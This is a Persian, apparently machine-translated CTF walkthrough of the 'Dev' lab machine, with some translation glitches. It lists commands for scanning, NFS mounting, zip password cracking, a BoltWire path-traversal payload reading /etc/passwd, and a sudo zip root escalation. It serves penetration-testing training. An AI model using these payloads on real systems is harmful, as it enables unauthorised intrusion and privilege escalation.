برنامه نویسی

EXPLOITING DEV MACHINE – انجمن DEV

این راهنما یک رویکرد خلاقانه برای دستیابی به دسترسی ریشه در یک ماشین را به نمایش می گذارد. ما از یک آسیب‌پذیری غیرمنتظره در دستور zip برای افزایش امتیازات استفاده می‌کنیم.

پس از راه اندازی موفقیت آمیز دستگاه توسعه دهنده خود، از جزئیات زیر برای ورود به دستگاه استفاده کنید.

نام کاربری: root
رمز عبور: tcm

توضیحات تصویر

اکنون باید آدرس IP ماشین آکادمی را دریافت کنیم تا این دستور ورودی را دریافت کنیم:

dhclient

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

بعد از آن دستور را وارد کنید:

ip a
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

از تصویر بالا، آدرس IP من برای آکادمی است 192.168.59.135

اکنون می‌توانیم دستگاه را پینگ کنیم تا تأیید کنیم که هر دو دستگاه زنده هستند و در حال ارتباط هستند.

برای آن از دستور استفاده می کنیم:

ping 192.168.59.135 -c3

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

NB- آدرس IP شما با من متفاوت است، بنابراین مطمئن شوید که آدرس IP خود را یادداشت کرده و آن را پینگ کنید.

توضیحات تصویر

تصویر بالا نشان می دهد که هر دو ماشین می توانند با هم ارتباط برقرار کنند زیرا هیچ بسته ای گم نشده است.

سپس اسکن NMAP را برای جستجوی پورت های باز با استفاده از دستور زیر اجرا می کنیم:

nmap -p- -A 192.168.59.135

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

از اسکن فوق در مجموع 9 پورت باز است، اما برای این آزمایشگاه هدف اصلی ما پورت 802049 و 8080 است.

یکی از اولین کارهایی که پس از اجرای اسکن باید انجام دهیم، بازدید از صفحه وب برای آدرس IP است.
NB- از اسکن ما دو پورت http باز داریم (80 و 8080) یعنی از دو صفحه وب بازدید خواهیم کرد و دو صفحه وب عبارتند از:

192.168.59.135

and

192.168.59.135:8080

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

NB- وارد کردن 192.168.59.135:80 همان نتیجه 192.168.59.135 را به شما می دهد.

توضیحات تصویر

توضیحات تصویر

پس از اسکن زیاد صفحات وب، ما واقعاً چیزی در آنجا پیدا نکردیم، بنابراین در مرحله بعد باید جستجو کنیم که آیا می‌توانیم فهرست‌های وب پنهان را با استفاده از * پیدا کنیم.افف *

برای انجام این کار، دو تب جدید باز می کنیم و از دستور زیر برای جستجو در صفحات وب هر دو پورت استفاده می کنیم:

برای پورت 80:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135/FUZZ

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

برای پورت 8080:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135:8080/FUZZ

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

در حالی که اسکن ffuf در حال اجرا است، می توانیم یک برگه جدید باز کنیم و روی پورت 2049 که باز است کار کنیم.

توضیحات تصویر

اکنون NFS نشان داده شده در پورت 2049 به معنای اشتراک فایل شبکه است، بنابراین ما کنجکاو هستیم که آیا چیزی در اشتراک فایل وجود دارد، بنابراین باید بررسی کنیم و برای بررسی از دستور استفاده می کنیم:

showmount -e 192.168.59.135 

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

از جستجوی ما به نظر می رسد یک دایرکتوری به نام /srv/nfs وجود دارد که ممکن است حاوی یک فایل باشد.

برای اینکه بتوانیم فایل های موجود در آن دایرکتوری را دریافت کنیم، باید یک دایرکتوری ایجاد کنیم که بخواهیم فایل را در آن ذخیره کنیم و سپس ما کوه پرونده.

برای ایجاد دایرکتوری، دستور زیر را وارد کنید:

mkdir /mnt/dev 

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

برای نصب فایل، دستور زیر را وارد کنید:

mount -t nfs 192.168.59.135:/srv/nfs /mnt/dev

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

حال باید با استفاده از دستور وارد پوشه /mnt/dev شوید:

cd /mnt/dev

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

و دستور را وارد کنید:

ls
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

شما باید فقط فایل save.zip را در فایل خود پیدا کنید، فایل من 3 فایل را نشان می دهد زیرا من قبلاً فایل را از حالت فشرده خارج کرده ام.

برای خارج کردن فایل از حالت فشرده، دستور زیر را وارد می کنیم:

unzip save.zip

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

در حال درخواست رمز عبور است که ما در حال حاضر نداریم.
ابزاری وجود دارد که می‌توانیم از آن استفاده کنیم تا ببینیم آیا می‌توانیم رمز عبور فایل فشرده را بشکنیم، ابزاری که نام دارد. fcrack

برای نصب ابزار روی کالی، دستور زیر را وارد کنید:

apt install fcrackzip

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

من قبلاً آن را نصب کرده ام اما ممکن است شما نتوانید، بنابراین پس از نصب موفقیت آمیز دستور را وارد کنید:

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

NB- -v به معنای پرمخاطب است زیرا می خواهیم همه خروجی ها را ببینیم
-u یعنی می خواهیم فایل را از حالت فشرده خارج کنیم
-دی یعنی ما می خواهیم از حمله دیکشنری استفاده کنیم
برای فایلی است که می خواهیم کرک کنیم که save.zip است

توضیحات تصویر

پس از اجرای دستور می بینیم که یک رمز عبور پیدا کردیم که همان است java101

اکنون باید با استفاده از رمز عبور آن را از حالت فشرده خارج کنیم.

دستور را وارد کنید:

unzip save.zip

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

ورودی java101 برای رمز عبور

فایل شما با موفقیت از حالت فشرده خارج می شود و وقتی دستور * را وارد می کنیدls * همانطور که در زیر مشاهده می کنید باید 3 فایل داشته باشید.

توضیحات تصویر

یک فایل txt و یک فایل id_rsa وجود دارد، ابتدا باید بررسی کنیم که داخل فایل txt چیست.
برای این کار دستور را وارد می کنیم:

cat todo.txt

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

ما یک پیام از jp
ما نمی دانیم jp کیست، اما ما مشکوک هستیم که او یک کاربر است و همچنین یک فایل id_rsa داریم که به جزئیات کاربر نیاز دارد تا بتوانیم آن را SSH کنیم.

بنابراین ما دستور را امتحان می کنیم:

ssh -i id_rsa jp@192.168.182.128

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

NB- اگر از شما برای ورودی اثر انگشت بخواهد آره

برای رمز عبور ما نمی دانیم رمز عبور او چیست، بنابراین متاسفانه اکنون به نقطه اول برگشتیم.

در حال حاضر… بیایید به عقب برگردیم و جستجوی فهرست وب خود را در مورد ffuf بررسی کنیم.

بنابراین برای پورت 80:

توضیحات تصویر

خطوط بدون # و با وضعیت 301 فهرست موفق یافت شده بودند.

بنابراین برای پورت 80 شش فهرست وب یافت شد که عبارتند از:
-عمومی
-src
-برنامه
-فروشنده
-پسوندها
-وضعیت سرور

و برای پورت 8080:

توضیحات تصویر

دو مورد پیدا شد که عبارتند از:
-dev
-وضعیت سرور

بنابراین برای بررسی دایرکتوری وب 8080 به مرورگر وب خود می رویم و وارد می کنیم:

http://192.168.182.128:8080/dev

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

NB- ممکن است متوجه شده باشید که آدرس IP دستگاه من ممکن است تغییر کرده باشد، به این دلیل است که من رایانه شخصی را تغییر داده ام، بنابراین با خیال راحت دنبال کنید.

توضیحات تصویر

بنابراین ما به یک صفحه پیچ و مهره منتقل می شویم، من می توانم یک علامت ثبت نام را در صفحه وب ببینم، بنابراین با نام کاربری و رمز عبور ثبت نام کردم. هکر
پس با خیال راحت ثبت نام کنید و از هر جزئیاتی که انتخاب می کنید استفاده کنید.

توضیحات تصویر

اکنون به پوشه وب پورت 80 می روم و جزئیات یافت شده از ffuf را وارد می کنم.
پس از شمارش زیاد، فهرست وب که برای من برجسته بود این بود:

http://192.168.182.128/app

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

کلیک کنید روی پیکربندی/ دایرکتوری موجود در صفحه وب

توضیحات تصویر

حال بر روی آن کلیک کنید config.yml فایل برای دانلود فایل

پس از دانلود فایل، فایل را باز کنید

توضیحات تصویر

ما یک نام کاربری پیچ و رمز عبور پیدا کردیم من_عاشق_جاوا هستم

بنابراین من SSH را با استفاده از نام کاربری و رمز عبور امتحان کردم و باز هم ناموفق بود

توضیحات تصویر

بنابراین در مرحله بعد به وب سایت Bolt که به عنوان هکر ثبت نام کردم بازگشتم

توضیحات تصویر

و برای جستجوی boltwire exploit به گوگل رفت.

مورد زیر را پیدا کرده و روی صفحه وب کلیک کنید

توضیحات تصویر

توضیحات تصویر

توضیحات تصویر

برای استفاده از این اکسپلویت، باید احراز هویت شویم، زیرا قبلاً یک حساب کاربری با جزئیات هکر ایجاد کرده‌ایم.

بنابراین مرحله بعدی کپی کردن ورودی است

index.php?p=action.search&action=../../../../../../../etc/passwd

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

و آن را در وب سایت هکر Boltwire ثبت شده ما وارد کنید.

وب سایت ما به این شکل بود

توضیحات تصویر

بنابراین پس از کپی کردن جزئیات از صفحه اکسپلویت، آن را وارد می کنیم تا به شکل زیر درآید:

توضیحات تصویر

بنابراین دستور را در صفحه وب خود وارد کنید:

http://192.168.182.128:8080/dev/index.php?p=action.search&action=../../../../../../../etc/passwd
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توجه: به یاد داشته باشید که آدرس IP را به آدرس IP دستگاه خود تغییر دهید.

توضیحات تصویر

کاربران ثبت نام شده دستگاه نمایش داده شد و موردی که برای ما برجسته بود JP بود

توضیحات تصویر

بنابراین jp به عنوان jeanpaul ثبت می شود.

بنابراین اکنون با استفاده از دستور زیر را وارد فایل id_rsa می کنیم:

ssh -i id_rsa jeanpaul@192.168.182.128

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

و برای رمز عبور من سعی کردم با استفاده از من_عاشق_جاوا هستم به عنوان رمز عبور

توضیحات تصویر

این موفقیت آمیز بود.

خب حالا دستور رو وارد میکنم:

sudo -l
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

برای اینکه بفهمیم چه امتیاز sudo داریم

توضیحات تصویر

و خوشبختانه متوجه شدیم که می توانیم از دستور استفاده کنیم زیپ به عنوان یک کاربر فوق العاده بدون نیاز به ارائه رمز عبور برای آن.

مرحله بعدی اکنون این است که بفهمیم چگونه می توانیم از دستور zip که به ما داده شده است استفاده کنیم تا امتیاز خود را افزایش دهیم و کاربر اصلی شویم.

برای آن در گوگل جستجو می کنیم و جستجو می کنیم gtfobin

توضیحات تصویر

روی صفحه وب موجود در بالا کلیک کنید

توضیحات تصویر

از صفحه وب روی sudo کلیک کنید

توضیحات تصویر

به پایین اسکرول کنید، zip را پیدا کنید و روی sudo کلیک کنید

توضیحات تصویر

شما را به صفحه ای که در زیر مشاهده می کنید می برد

توضیحات تصویر

دستورات زیر را کپی کنید و در ترمینال وارد شده به عنوان jeanpaul وارد کنید

TF=$(mktemp -u)
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

حالا دستور را وارد کنید:


sudo zip $TF /etc/hosts -T -TT 'sh #'

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

توضیحات تصویر

ما یک پوسته را با موفقیت بیرون آورده ایم.

حالا دستور را وارد کنید:

whoami
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

برای اینکه بفهمیم کدام پوسته را ریختیم

توضیحات تصویر

ما با موفقیت به کاربر اصلی تبدیل شدیم.

ماشین با موفقیت مورد بهره برداری قرار گرفت!

در نتیجه، این بررسی خطر بالقوه امتیازات به ظاهر ناچیز را نشان داده است. با بهره‌برداری از دستور فشرده‌سازی بیش از حد، ما توانستیم دسترسی را از یک کاربر سطح پایین به یک کاربر فوق‌العاده افزایش دهیم و اهمیت ارزیابی‌های امنیتی کامل و خطر همیشه موجود مرتبط با خزش امتیاز را برجسته کنیم.

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا